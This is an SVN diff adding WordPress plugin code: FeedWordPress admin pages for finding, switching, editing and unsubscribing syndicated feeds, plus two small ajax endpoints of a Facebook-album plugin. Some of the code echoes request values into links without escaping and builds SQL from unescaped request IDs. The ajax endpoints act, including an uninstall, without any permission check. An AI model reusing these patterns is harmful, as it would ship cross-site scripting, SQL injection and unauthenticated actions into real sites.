+| <a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/posts-page.php&amp;link_id=<?php echo $link->link_id; ?>"><?php _e('Posts'); ?></a>
+| <a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/authors-page.php&amp;link_id=<?php echo $link->link_id; ?>"><?php _e('Authors'); ?></a>
+| <a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/categories-page.php&amp;link_id=<?php echo $link->link_id; ?>"><?php _e('Categories &amp; Tags'); ?></a></div>
+<div><strong>Actions &gt;</strong>
+<a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>&amp;link_id=<?php echo $link->link_id; ?>&amp;action=feedfinder"><?php echo $caption; ?></a>
+| <a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>&amp;link_id=<?php echo $link->link_id; ?>&amp;action=Unsubscribe"><?php _e('Unsubscribe'); ?></a>
+| <a href="<?php echo wp_specialchars($link->link_url, 'both'); ?>"><?php _e('View')?></a></div>
+</div>
+</td>
+<?php 
+			if (strlen($link->link_rss) > 0):
+				$uri_bits = parse_url($link->link_rss);
+				$uri_bits['host'] = preg_replace('/^www\./i', '', $uri_bits['host']);
+				$display_uri =
+					(isset($uri_bits['user'])?$uri_bits['user'].'@':'')
+					.(isset($uri_bits['host'])?$uri_bits['host']:'')
+					.(isset($uri_bits['port'])?':'.$uri_bits['port']:'')
+					.(isset($uri_bits['path'])?$uri_bits['path']:'')
+					.(isset($uri_bits['query'])?'?'.$uri_bits['query']:'');
+				if (strlen($display_uri) > 32) : $display_uri = substr($display_uri, 0, 32).'&#8230;'; endif;
+?>
+				<td><a href="<?php echo wp_specialchars($link->link_rss, 'both'); ?>"><?php echo wp_specialchars($display_uri, 'both'); ?></a></td>
+			<?php else: ?>
+				<td style="background-color:#FFFFD0"><p><strong>no
+				feed assigned</strong></p></td>
+			<?php endif; ?>
+
+			<td><?php
+			$sLink =& new SyndicatedLink($link->link_id);
+			if (isset($sLink->settings['update/last'])) :
+				print fwp_time_elapsed($sLink->settings['update/last']);
+			else :
+				_e('None yet');
+			endif;
+
+			print "<div style='font-style:italic;size:0.9em'>Ready for next update ";
+			if (isset($sLink->settings['update/ttl']) and is_numeric($sLink->settings['update/ttl'])) :
+				if (isset($sLink->settings['update/timed']) and $sLink->settings['update/timed']=='automatically') :
+					$next = $sLink->settings['update/last'] + ((int) $sLink->settings['update/ttl'] * 60);
+					print fwp_time_elapsed($next);
+				else :
+					echo "every ".$sLink->settings['update/ttl']." minute".(($sLink->settings['update/ttl']!=1)?"s":"");
+				endif;
+			else:
+				echo "as soon as possible";
+			endif;
+			print "</div>";
+?>
+			</td>
+		</tr>
+<?php
+			endforeach;
+		else :
+?>
+<tr><td colspan="<?php print $span+2; ?>"><p>There are no websites currently listed for syndication.</p></td></tr>
+<?php
+		endif;
+?>
+</tbody>
+</table>
+
+<?php if (count($links) > 0 and fwp_test_wp_version(0, FWP_SCHEMA_25)) : ?>
+<br/><hr/>
+<div class="submit"><input type="submit" class="delete" name="action" value="<?php print FWP_UNSUB_CHECKED; ?>" />
+<input type="submit" name="action" value="<?php print FWP_UPDATE_CHECKED; ?>" /></div>
+<?php endif; ?>
+
+	</form>
+<?php
+} /* function fwp_syndication_manage_page_links_box() */
+
+function fwp_feedfinder_page () {
+	global $wpdb;
+	global $FeedWordPressHTTPStatusMessages;
+
+	$lookup = (isset($_REQUEST['lookup'])?$_REQUEST['lookup']:NULL);
+
+	if (isset($_REQUEST['link_id']) and ($_REQUEST['link_id']!=0)):
+		$link_id = $_REQUEST['link_id'];
+		if (!is_numeric($link_id)) : FeedWordPress::critical_bug('fwp_feedfinder_page::link_id', $link_id, __LINE__); endif;
+		
+		$link = $wpdb->get_row("SELECT * FROM $wpdb->links WHERE link_id='".$wpdb->escape($link_id)."'");
+		if (is_object($link)):
+			if (is_null($lookup)) $lookup = $link->link_url;
+			$name = wp_specialchars($link->link_name, 'both');
+		else:
+			die (__("Cheatin' uh ?"));
+		endif;
+	else:
+		$name = "<code>".htmlspecialchars($lookup)."</code>";
+		$link_id = 0;
+	endif;
+?>
+	<div class="wrap">
+	<h2>Feed Finder: <?php echo $name; ?></h2>
+<?php
+	$f =& new FeedFinder($lookup);
+	$feeds = $f->find();
+	if (count($feeds) > 0):
+		foreach ($feeds as $key => $f):
+			$rss = fetch_rss($f);
+			if ($rss):
+				$feed_title = isset($rss->channel['title'])?$rss->channel['title']:$rss->channel['link'];
+				$feed_link = isset($rss->channel['link'])?$rss->channel['link']:'';
+			else :
+				// Give us some sucky defaults
+				$uri_bits = parse_url($lookup);
+				$uri_bits['host'] = preg_replace('/^www\./i', '', $uri_bits['host']);
+				$display_uri =
+					(isset($uri_bits['user'])?$uri_bits['user'].'@':'')
+					.(isset($uri_bits['host'])?$uri_bits['host']:'')
+					.(isset($uri_bits['port'])?':'.$uri_bits['port']:'')
+					.(isset($uri_bits['path'])?$uri_bits['path']:'')
+					.(isset($uri_bits['query'])?'?'.$uri_bits['query']:'');
+				if (strlen($display_uri) > 32) : $display_uri = substr($display_uri, 0, 32).'&#8230;'; endif;
+
+				$feed_title = $display_uri;
+				$feed_link = $lookup;
+			endif;
+?>
+				<form action="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>" method="post">
+				<div><?php FeedWordPressCompatibility::stamp_nonce('feedwordpress_switchfeed'); ?></div>
+				<fieldset style="clear: both">
+				<legend><?php echo $rss->feed_type; ?> <?php echo $rss->feed_version; ?> feed</legend>
+
+				<?php if ($link_id===0): ?>
+					<input type="hidden" name="feed_title" value="<?php echo wp_specialchars($feed_title, 'both'); ?>" />
+					<input type="hidden" name="feed_link" value="<?php echo wp_specialchars($feed_link, 'both'); ?>" />
+				<?php endif; ?>
+
+				<input type="hidden" name="link_id" value="<?php echo $link_id; ?>" />
+				<input type="hidden" name="feed" value="<?php echo wp_specialchars($f, 'both'); ?>" />
+				<input type="hidden" name="action" value="switchfeed" />
+
+				<div>
+				<div style="float:right; background-color:#D0D0D0; color: black; width:45%; font-size:70%; border-left: 1px dotted #A0A0A0; padding-left: 0.5em; margin-left: 1.0em">
+<?php				if (count($rss->items) > 0): ?>
+					<?php
+						// Prepare to display Sample Item
+						$link =& new MagpieMockLink($rss, $f);
+						$post =& new SyndicatedPost($rss->items[0], $link);
+					?>
+					<h3>Sample Item</h3>
+					<ul>
+					<li><strong>Title:</strong> <a href="<?php echo $post->post['meta']['syndication_permalink']; ?>"><?php echo $post->post['post_title']; ?></a></li>
+					<li><strong>Date:</strong> <?php print date('d-M-y g:i:s a', $post->published()); ?></li>
+					</ul>
+					<div class="entry">
+					<?php print $post->post['post_content']; ?>
+					</div>
+<?php				else: ?>
+					<h3>No Items</h3>
+					<p>FeedWordPress found no posts on this feed.</p>
+<?php				endif; ?>
+				</div>
+
+				<div>
+				<h3>Feed Information</h3>
+				<ul>
+				<li><strong>Website:</strong> <a href="<?php echo $feed_link; ?>"><?php echo is_null($feed_title)?'<em>Unknown</em>':$feed_title; ?></a></li>
+				<li><strong>Feed URI:</strong> <a href="<?php echo wp_specialchars($f, 'both'); ?>"><?php echo wp_specialchars($f, 'both'); ?></a> (<a title="Check feed &lt;<?php echo wp_specialchars($f, 'both'); ?>&gt; for validity" href="http://feedvalidator.org/check.cgi?url=<?php echo urlencode($f); ?>">validate</a>)</li>
+				<li><strong>Encoding:</strong> <?php echo isset($rss->encoding)?wp_specialchars($rss->encoding, 'both'):"<em>Unknown</em>"; ?></li>
+				<li><strong>Description:</strong> <?php echo isset($rss->channel['description'])?wp_specialchars($rss->channel['description'], 'both'):"<em>Unknown</em>"; ?></li>
+				</ul>
+				<div class="submit"><input type="submit" name="Use" value="&laquo; Use this feed" /></div>
+				<div class="submit"><input type="submit" name="Cancel" value="&laquo; Cancel" /></div>
+				</div>
+				</div>
+				</fieldset>
+				</form>
+<?php
+		endforeach;
+	else:
+		print "<p><strong>".__('Error').":</strong> ".__("FeedWordPress couldn't find any feeds at").' <code><a href="'.htmlspecialchars($lookup).'">'.htmlspecialchars($lookup).'</a></code>';
+		print ". ".__('Try another URL').".</p>";
+		
+		// Diagnostics
+		$httpObject = _wp_http_get_object();
+		$transports = $httpObject->_getTransport();
+		print "<div class=\"updated\" style=\"margin-left: 3.0em; margin-right: 3.0em;\">\n";
+		print "<h3>".__('Diagnostic information')."</h3>\n";
+		if (!is_null($f->error())) :
+			print "<h4>".__('HTTP request failure')."</h4>\n";
+			print "<p>".$f->error()."</p>\n";
+		else :
+			print "<h4>".__('HTTP request completed')."</h4>\n";
+			print "<p><strong>Status ".$f->status().":</strong> ".$FeedWordPressHTTPStatusMessages[$f->status()]."</p>\n";
+		endif;
+		print "<h4>".__('HTTP Transports available').":</h4>\n";
+		print "<ol>\n";
+		print "<li>".implode("</li>\n<li>", array_map('get_class', $transports))."</li>\n";
+		print "</ol>\n";
+		print "</div>\n";
+	endif;
+?>
+	</div>
+
+	<form action="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>" method="post">
+	<div><?php
+		FeedWordPressCompatibility::stamp_nonce('feedwordpress_feeds');
+	?></div>
+	<div class="wrap">
+	<h2>Use another feed</h2>
+	<div><label>Feed:</label>
+	<input type="text" name="lookup" value="URI" />
+	<input type="hidden" name="link_id" value="<?php echo $link_id; ?>" />
+	<input type="hidden" name="action" value="feedfinder" /></div>
+	<div class="submit"><input type="submit" value="Use this feed &raquo;" /></div>
+	</div>
+	</form>
+<?php
+	return false; // Don't continue
+}
+
+function fwp_switchfeed_page () {
+	global $wpdb, $wp_db_version;
+
+	// If this is a POST, validate source and user credentials
+	FeedWordPressCompatibility::validate_http_request(/*action=*/ 'feedwordpress_switchfeed', /*capability=*/ 'manage_links');
+
+	if (!isset($_REQUEST['Cancel'])):
+		if (isset($_POST['link_id']) and ($_POST['link_id']==0)):
+			$link_id = FeedWordPress::syndicate_link($_REQUEST['feed_title'], $_REQUEST['feed_link'], $_REQUEST['feed']);
+			if ($link_id): ?>
+<div class="updated"><p><a href="<?php echo stripslashes($_REQUEST['feed_link']); ?>"><?php echo wp_specialchars(stripslashes($_REQUEST['feed_title']), 'both'); ?></a>
+has been added as a contributing site, using the feed at &lt;<a href="<?php echo stripslashes($_REQUEST['feed']); ?>"><?php echo wp_specialchars(stripslashes($_REQUEST['feed']), 'both'); ?></a>&gt;.
+| <a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>&amp;link_id=<?php echo $link_id; ?>&amp;action=linkedit">Configure settings</a>.</div>
+<?php			else: ?>
+<div class="updated"><p>There was a problem adding the feed. [SQL: <?php echo wp_specialchars(mysql_error(), 'both'); ?>]</p></div>
+<?php			endif;
+		elseif (isset($_POST['link_id'])):
+			// Update link_rss
+			$result = $wpdb->query("
+			UPDATE $wpdb->links
+			SET
+				link_rss = '".$wpdb->escape($_REQUEST['feed'])."'
+			WHERE link_id = '".$wpdb->escape($_REQUEST['link_id'])."'
+			");
+			
+			if ($result):
+				$result = $wpdb->get_row("
+				SELECT link_name, link_url FROM $wpdb->links
+				WHERE link_id = '".$wpdb->escape($_REQUEST['link_id'])."'
+				");
+			?> 
+<div class="updated"><p>Feed for <a href="<?php echo $result->link_url; ?>"><?php echo wp_specialchars($result->link_name, 'both'); ?></a>
+updated to &lt;<a href="<?php echo $_REQUEST['feed']; ?>"><?php echo wp_specialchars($_REQUEST['feed'], 'both'); ?></a>&gt;.</p></div>
+			<?php else: ?>
+<div class="updated"><p>Nothing was changed.</p></div>
+			<?php endif;
+		endif;
+	endif;
+	return true; // Continue
+}
+
+function fwp_linkedit_page () {
+	global $wpdb, $wp_db_version;
+
+	// If this is a POST, validate source and user credentials
+	FeedWordPressCompatibility::validate_http_request(/*action=*/ 'feedwordpress_linkedit', /*capability=*/ 'manage_links');
+
+	$special_settings = array ( /* Regular expression syntax is OK here */
+		'cats',
+		'cat_split',
+		'hardcode name',
+		'hardcode url',
+		'hardcode description',
+		'hardcode categories', /* Deprecated */
+		'post status',
+		'comment status',
+		'ping status',
+		'unfamiliar author',
+		'unfamliar categories', /* Deprecated */
+		'unfamiliar category',
+		'map authors',
+		'tags',
+		'update/.*',
+		'feed/.*',
+		'link/.*',
+	);
+
+	if (isset($_REQUEST['feedfinder'])) :
+		return fwp_feedfinder_page(); // re-route to Feed Finder page
+	else :
+		$link_id = (int) $_REQUEST['link_id'];
+		$link =& new SyndicatedLink($link_id);
+
+		if ($link->found()) :
+			if (isset($GLOBALS['fwp_post']['save'])) :
+				$alter = array ();
+				
+				// custom feed settings first
+				foreach ($GLOBALS['fwp_post']['notes'] as $mn) :
+					$mn['key0'] = trim($mn['key0']);
+					$mn['key1'] = trim($mn['key1']);
+					if (preg_match("\007^(("
+							.implode(')|(',$special_settings)
+							."))$\007i",
+							$mn['key1'])) :
+						$mn['key1'] = 'user/'.$mn['key1'];
+					endif;
+
+					if (strlen($mn['key0']) > 0) :
+						unset($link->settings[$mn['key0']]); // out with the old
+					endif;
+					
+					if (($mn['action']=='update') and (strlen($mn['key1']) > 0)) :
+						$link->settings[$mn['key1']] = $mn['value']; // in with the new
+					endif;
+				endforeach;
+				
+				// now stuff through the web form
+				// hardcoded feed info
+				if (isset($GLOBALS['fwp_post']['hardcode_name'])) :
+					$link->settings['hardcode name'] = $GLOBALS['fwp_post']['hardcode_name'];
+					if (FeedWordPress::affirmative($link->settings, 'hardcode name')) :
+						$alter[] = "link_name = '".$wpdb->escape($GLOBALS['fwp_post']['name'])."'";
+					endif;
+				endif;
+				if (isset($GLOBALS['fwp_post']['hardcode_description'])) :
+					$link->settings['hardcode description'] = $GLOBALS['fwp_post']['hardcode_description'];
+					if (FeedWordPress::affirmative($link->settings, 'hardcode description')) :
+						$alter[] = "link_description = '".$wpdb->escape($GLOBALS['fwp_post']['description'])."'";
+					endif;
+				endif;
+				if (isset($GLOBALS['fwp_post']['hardcode_url'])) :
+					$link->settings['hardcode url'] = $GLOBALS['fwp_post']['hardcode_url'];
+					if (FeedWordPress::affirmative($link->settings, 'hardcode url')) :
+						$alter[] = "link_url = '".$wpdb->escape($GLOBALS['fwp_post']['linkurl'])."'";
+					endif;
+				endif;
+				
+				// Update scheduling
+				if (isset($GLOBALS['fwp_post']['update_schedule'])) :
+					$link->settings['update/hold'] = $GLOBALS['fwp_post']['update_schedule'];
+				endif;
+
+				$alter[] = "link_notes = '".$wpdb->escape($link->settings_to_notes())."'";
+
+				$alter_set = implode(", ", $alter);
+
+				// issue update query
+				$result = $wpdb->query("
+				UPDATE $wpdb->links
+				SET $alter_set
+				WHERE link_id='$link_id'
+				");
+				$updated_link = true;
+
+				// reload link information from DB
+				if (function_exists('clean_bookmark_cache')) :
+					clean_bookmark_cache($link_id);
+				endif;
+				$link =& new SyndicatedLink($link_id);
+			else :
+				$updated_link = false;
+			endif;
+
+			$db_link = $link->link;
+			$link_url = wp_specialchars($db_link->link_url, 1);
+			$link_name = wp_specialchars($db_link->link_name, 1);
+			$link_description = wp_specialchars($db_link->link_description, 'both');
+			$link_rss_uri = wp_specialchars($db_link->link_rss, 'both');
+		else :
+			die( __('Link not found.') ); 
+		endif;
+
+	?>
+<script type="text/javascript">
+	function flip_hardcode (item) {
+		ed=document.getElementById('basics-'+item+'-edit');
+		view=document.getElementById('basics-'+item+'-view');
+		
+		o = document.getElementById('basics-hardcode-'+item);
+		if (o.value=='yes') { ed.style.display='inline'; view.style.display='none'; }
+		else { ed.style.display='none'; view.style.display='inline'; }
+	}
+</script>
+
+<?php if ($updated_link) : ?>
+<div class="updated"><p>Syndicated feed settings updated.</p></div>
+<?php endif; ?>
+
+<form action="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>" method="post">
+<div class="wrap">
+<?php FeedWordPressCompatibility::stamp_nonce('feedwordpress_linkedit'); ?>
+<input type="hidden" name="link_id" value="<?php echo $link_id; ?>" />
+<input type="hidden" name="action" value="linkedit" />
+<input type="hidden" name="save" value="link" />
+
+<?php if (fwp_test_wp_version(FWP_SCHEMA_27)) : ?>
+	<div class="icon32"><img src="<?php print htmlspecialchars(WP_PLUGIN_URL.'/'.$GLOBALS['fwp_path'].'/feedwordpress.png'); ?>" alt="" /></div>
+<?php endif; ?>
+
+<h2><?php _e('Feed settings'); ?><?php if (!is_null($link) and $link->found()) : ?>: <?php echo wp_specialchars($link->link->link_name, 1); ?><?php endif; ?></h2>
+
+<div id="poststuff">
+<?php fwp_linkedit_single_submit($status); ?>
+
+<div id="post-body">
+<?php fwp_option_box_opener('Feed Information', 'feedinformationdiv'); ?>
+	<table class="editform" width="100%" cellspacing="2" cellpadding="5">
+	<tr>
+	<th scope="row" width="20%"><?php _e('Feed URI:') ?></th>
+	<td width="60%"><a href="<?php echo wp_specialchars($link_rss_uri, 'both'); ?>"><?php echo $link_rss_uri; ?></a>
+	(<a href="<?php echo FEEDVALIDATOR_URI; ?>?url=<?php echo urlencode($link_rss_uri); ?>"
+	title="Check feed &lt;<?php echo wp_specialchars($link_rss_uri, 'both'); ?>&gt; for validity">validate</a>)
+	</td>
+	<td width="20%"><input type="submit" name="feedfinder" value="switch &rarr;" style="font-size:smaller" /></td>
+	</tr>
+	<tr>
+	<th scope="row" width="20%"><?php _e('Link Name:') ?></th>
+	<td width="60%"><input type="text" id="basics-name-edit" name="name"
+	value="<?php echo $link_name; ?>" style="width: 95%" />
+	<span id="basics-name-view"><strong><?php echo $link_name; ?></strong></span>
+	</td>
+	<td>
+	<select id="basics-hardcode-name" onchange="flip_hardcode('name')" name="hardcode_name">
+	<option value="no" <?php echo $link->hardcode('name')?'':'selected="selected"'; ?>>update automatically</option>
+	<option value="yes" <?php echo $link->hardcode('name')?'selected="selected"':''; ?>>edit manually</option>
+	</select>
+	</td>
+	</tr>
+	<tr>
+	<th scope="row" width="20%"><?php _e('Short description:') ?></th>
+	<td width="60%">
+	<input id="basics-description-edit" type="text" name="description" value="<?php echo $link_description; ?>" style="width: 95%" />
+	<span id="basics-description-view"><strong><?php echo $link_description; ?></strong></span>
+	</td>
+	<td>
+	<select id="basics-hardcode-description" onchange="flip_hardcode('description')"
+	name="hardcode_description">
+	<option value="no" <?php echo $link->hardcode('description')?'':'selected="selected"'; ?>>update automatically</option>
+	<option value="yes" <?php echo $link->hardcode('description')?'selected="selected"':''; ?>>edit manually</option>
+	</select></td>
+	</tr>
+	<tr>
+	<th width="20%" scope="row"><?php _e('Homepage:') ?></th>
+	<td width="60%">
+	<input id="basics-url-edit" type="text" name="linkurl" value="<?php echo $link_url; ?>" style="width: 95%;" />
+	<a id="basics-url-view" href="<?php echo $link_url; ?>"><?php echo $link_url; ?></a></td>
+	<td>
+	<select id="basics-hardcode-url" onchange="flip_hardcode('url')" name="hardcode_url">
+	<option value="no"<?php echo $link->hardcode('url')?'':' selected="selected"'; ?>>update automatically</option>
+	<option value="yes"<?php echo $link->hardcode('url')?' selected="selected"':''; ?>>edit manually</option>
+	</select></td></tr>
+	
+	<tr>
+	<th width="20%"><?php _e('Last update') ?>:</th>
+	<td colspan="2"><?php
+		if (isset($link->settings['update/last'])) :
+			echo fwp_time_elapsed($link->settings['update/last'])." ";
+		else :
+			echo " none yet";
+		endif;
+	?></td></tr>
+	<tr><th width="20%">Next update:</th>
+	<td colspan="2"><?php
+		$holdem = (isset($link->settings['update/hold']) ? $link->settings['update/hold'] : 'scheduled');
+	?>
+	<select name="update_schedule">
+	<option value="scheduled"<?php echo ($holdem=='scheduled')?' selected="selected"':''; ?>>update on schedule <?php
+		echo " (";
+		if (isset($link->settings['update/ttl']) and is_numeric($link->settings['update/ttl'])) :
+			if (isset($link->settings['update/timed']) and $link->settings['update/timed']=='automatically') :
+				echo 'next: ';
+				$next = $link->settings['update/last'] + ((int) $link->settings['update/ttl'] * 60);
+				if (strftime('%x', time()) != strftime('%x', $next)) :
+					echo strftime('%x', $next)." ";
+				endif;
+				echo strftime('%X', $link->settings['update/last']+((int) $link->settings['update/ttl']*60));
+			else :
+				echo "every ".$link->settings['update/ttl']." minute".(($link->settings['update/ttl']!=1)?"s":"");
+			endif;
+		else:
+			echo "next scheduled update";
+		endif;
+		echo ")";
+	?></option>
+	<option value="next"<?php echo ($holdem=='next')?' selected="selected"':''; ?>>update ASAP</option>
+	<option value="ping"<?php echo ($holdem=='ping')?' selected="selected"':''; ?>>update only when pinged</option>
+	</select></tr>
+	</table>
+<?php fwp_option_box_closer(); ?>
+
+<script type="text/javascript">
+flip_hardcode('name');
+flip_hardcode('description');
+flip_hardcode('url');
+</script>
+
+<?php fwp_linkedit_periodic_submit(); ?>
+
+<?php
+	FeedWordPressSettingsUI::instead_of_posts_box($link_id);
+	FeedWordPressSettingsUI::instead_of_authors_box($link_id);
+	FeedWordPressSettingsUI::instead_of_categories_box($link_id);
+
+	fwp_option_box_opener('Custom Feed Settings (for use in templates)', 'postcustom', 'postbox');
+?>
+<p class="setting-description">These custom settings are special fields for the <strong>feed</strong> you are
+syndicating, to be retrieved in templates using the <code>get_feed_meta()</code> function. They do not create
+custom fields on syndicated <strong>posts</strong>. If you want to create custom fields that are applied to each
+individual post from this feed, set up the settings in <a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/posts-page.php&amp;link_id=<?php print $link_id; ?>">Syndicated Posts</a>.</p>
+
+<div id="postcustomstuff">
+<table id="meta-list" cellpadding="3">
+	<tr>
+	<th>Key</th>
+	<th>Value</th>
+	<th>Action</th>
+	</tr>
+
+<?php
+	$i = 0;
+	foreach ($link->settings as $key => $value) :
+		if (!preg_match("\007^((".implode(')|(', $special_settings)."))$\007i", $key)) :
+?>
+			<tr style="vertical-align:top">
+			<th width="30%" scope="row"><input type="hidden" name="notes[<?php echo $i; ?>][key0]" value="<?php echo wp_specialchars($key, 'both'); ?>" />
+			<input id="notes-<?php echo $i; ?>-key" name="notes[<?php echo $i; ?>][key1]" value="<?php echo wp_specialchars($key, 'both'); ?>" /></th>
+			<td width="60%"><textarea rows="2" cols="40" id="notes-<?php echo $i; ?>-value" name="notes[<?php echo $i; ?>][value]"><?php echo wp_specialchars($value, 'both'); ?></textarea></td>
+			<td width="10%"><select name="notes[<?php echo $i; ?>][action]">
+			<option value="update">save changes</option>
+			<option value="delete">delete this setting</option>
+			</select></td>
+			</tr>
+<?php
+			$i++;
+		endif;
+	endforeach;
+?>
+	<tr>
+	<th scope="row"><input type="text" size="10" name="notes[<?php echo $i; ?>][key1]" value="" /></th>
+	<td><textarea name="notes[<?php echo $i; ?>][value]" rows="2" cols="40"></textarea></td>
+	<td><em>add new setting...</em><input type="hidden" name="notes[<?php echo $i; ?>][action]" value="update" /></td>
+	</tr>
+</table>
+<?php fwp_option_box_closer(); ?>
+
+<?php fwp_linkedit_periodic_submit(); ?>
+<?php fwp_linkedit_single_submit_closer(); ?>
+</div> <!-- id="post-body" -->
+</div> <!-- id="poststuff" -->
+</div>
+	<?php
+	endif;
+	return false; // Don't continue
+}
+
+function fwp_multidelete_page () {
+	global $wpdb;
+
+	// If this is a POST, validate source and user credentials
+	FeedWordPressCompatibility::validate_http_request(/*action=*/ 'feedwordpress_feeds', /*capability=*/ 'manage_links');
+
+	$link_ids = (isset($_REQUEST['link_ids']) ? $_REQUEST['link_ids'] : array());
+	if (isset($_REQUEST['link_id'])) : array_push($link_ids, $_REQUEST['link_id']); endif;
+
+	if (isset($GLOBALS['fwp_post']['confirm']) and $GLOBALS['fwp_post']['confirm']=='Delete'):
+		foreach ($GLOBALS['fwp_post']['link_action'] as $link_id => $what) :
+			$do_it[$what][] = $link_id;
+		endforeach;
+
+		$alter = array();
+		if (count($do_it['hide']) > 0) :
+			$hidem = "(".implode(', ', $do_it['hide']).")";
+			$alter[] = "
+			UPDATE $wpdb->links
+			SET link_visible = 'N'
+			WHERE link_id IN {$hidem}
+			";
+		endif;
+
+		if (count($do_it['nuke']) > 0) :
+			$nukem = "(".implode(', ', $do_it['nuke']).")";
+			
+			// Make a list of the items syndicated from this feed...
+			$post_ids = $wpdb->get_col("
+				SELECT post_id FROM $wpdb->postmeta
+				WHERE meta_key = 'syndication_feed_id'
+				AND meta_value IN {$nukem}
+			");
+
+			// ... and kill them all
+			if (count($post_ids) > 0) :
+				foreach ($post_ids as $post_id) :
+					wp_delete_post($post_id);
+				endforeach;
+			endif;
+
+			$alter[] = "
+			DELETE FROM $wpdb->links
+			WHERE link_id IN {$nukem}
+			";
+		endif;
+
+		if (count($do_it['delete']) > 0) :
+			$deletem = "(".implode(', ', $do_it['delete']).")";
+
+			// Make the items syndicated from this feed appear to be locally-authored
+			$alter[] = "
+				DELETE FROM $wpdb->postmeta
+				WHERE meta_key = 'syndication_feed_id'
+				AND meta_value IN {$deletem}
+			";
+
+			// ... and delete the links themselves.
+			$alter[] = "
+			DELETE FROM $wpdb->links
+			WHERE link_id IN {$deletem}
+			";
+		endif;
+
+		$errs = array(); $success = array ();
+		foreach ($alter as $sql) :
+			$result = $wpdb->query($sql);
+			if (!$result):
+				$errs[] = mysql_error();
+			endif;
+		endforeach;
+		
+		if (count($alter) > 0) :
+			echo "<div class=\"updated\">\n";
+			if (count($errs) > 0) :
+				echo "There were some problems processing your ";
+				echo "unsubscribe request. [SQL: ".implode('; ', $errs)."]";
+			else :
+				echo "Your unsubscribe request(s) have been processed.";
+			endif;
+			echo "</div>\n";
+		endif;
+
+		return true; // Continue on to Syndicated Sites listing
+	else :
+		$targets = $wpdb->get_results("
+			SELECT * FROM $wpdb->links
+			WHERE link_id IN (".implode(",",$link_ids).")
+			");
+?>
+<form action="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>" method="post">
+<div class="wrap">
+<?php FeedWordPressCompatibility::stamp_nonce('feedwordpress_feeds'); ?>
+<input type="hidden" name="action" value="Unsubscribe" />
+<input type="hidden" name="confirm" value="Delete" />
+
+<h2>Unsubscribe from Syndicated Links:</h2>
+<?php	foreach ($targets as $link) :
+		$link_url = wp_specialchars($link->link_url, 1);
+		$link_name = wp_specialchars($link->link_name, 1);
+		$link_description = wp_specialchars($link->link_description, 'both');
+		$link_rss = wp_specialchars($link->link_rss, 'both');
+?>
+<fieldset>
+<legend><?php echo $link_name; ?></legend>
+<table class="editform" width="100%" cellspacing="2" cellpadding="5">
+<tr><th scope="row" width="20%"><?php _e('Feed URI:') ?></th>
+<td width="80%"><a href="<?php echo $link_rss; ?>"><?php echo $link_rss; ?></a></td></tr>
+<tr><th scope="row" width="20%"><?php _e('Short description:') ?></th>
+<td width="80%"><?php echo $link_description; ?></span></td></tr>
+<tr><th width="20%" scope="row"><?php _e('Homepage:') ?></th>
+<td width="80%"><a href="<?php echo $link_url; ?>"><?php echo $link_url; ?></a></td></tr>
+<tr style="vertical-align:top"><th width="20%" scope="row">Subscription <?php _e('Options') ?>:</th>
+<td width="80%"><ul style="margin:0; padding: 0; list-style: none">
+<li><input type="radio" id="hide-<?php echo $link->link_id; ?>"
+name="link_action[<?php echo $link->link_id; ?>]" value="hide" />
+<label for="hide-<?php echo $link->link_id; ?>">Turn off the subscription for this
+syndicated link<br/><span style="font-size:smaller">(Keep the feed information
+and all the posts from this feed in the database, but don't syndicate any
+new posts from the feed.)</span></label></li>
+<li><input type="radio" id="nuke-<?php echo $link->link_id; ?>"
+name="link_action[<?php echo $link->link_id; ?>]" value="nuke" />
+<label for="nuke-<?php echo $link->link_id; ?>">Delete this syndicated link and all the
+posts that were syndicated from it</label></li>
+<li><input type="radio" id="delete-<?php echo $link->link_id; ?>"
+name="link_action[<?php echo $link->link_id; ?>]" value="delete" />
+<label for="delete-<?php echo $link->link_id; ?>">Delete this syndicated link, but
+<em>keep</em> posts that were syndicated from it (as if they were authored
+locally).</label></li>
+<li><input type="radio" id="nothing-<?php echo $link->link_id; ?>"
+name="link_action[<?php echo $link->link_id; ?>]" value="nothing" />
+<label for="nothing-<?php echo $link->link_id; ?>">Keep this feed as it is. I changed
+my mind.</label></li>
+</ul>
+</table>
+</fieldset>
+<?php	endforeach; ?>
+
+<div class="submit">
+<input class="delete" type="submit" name="submit" value="<?php _e('Unsubscribe from selected feeds &raquo;') ?>" />
+</div>
+</div>
+<?php
+		return false; // Don't continue on to Syndicated Sites listing
+	endif;
+}
+
+	fwp_syndication_manage_page();
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/addAlbum.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/addAlbum.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/addAlbum.php	(revision 44)
@@ -0,0 +1,9 @@
+<?php
+define('WP_ADMIN', TRUE);
+require_once('../../../../wp-load.php');
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+require_once('../lib.php');
+
+$wpfbg = new wpfbg(true);
+echo $wpfbg->addAlbum($_GET['aid']);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/fbaccount_remove.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/fbaccount_remove.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/fbaccount_remove.php	(revision 44)
@@ -0,0 +1,9 @@
+<?php
+define('WP_ADMIN', TRUE);
+require_once('../../../../wp-load.php');
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+require_once('../lib.php');
+
+$wpfbb = new wpfbg();
+$wpfbb->uninstall();
+?>
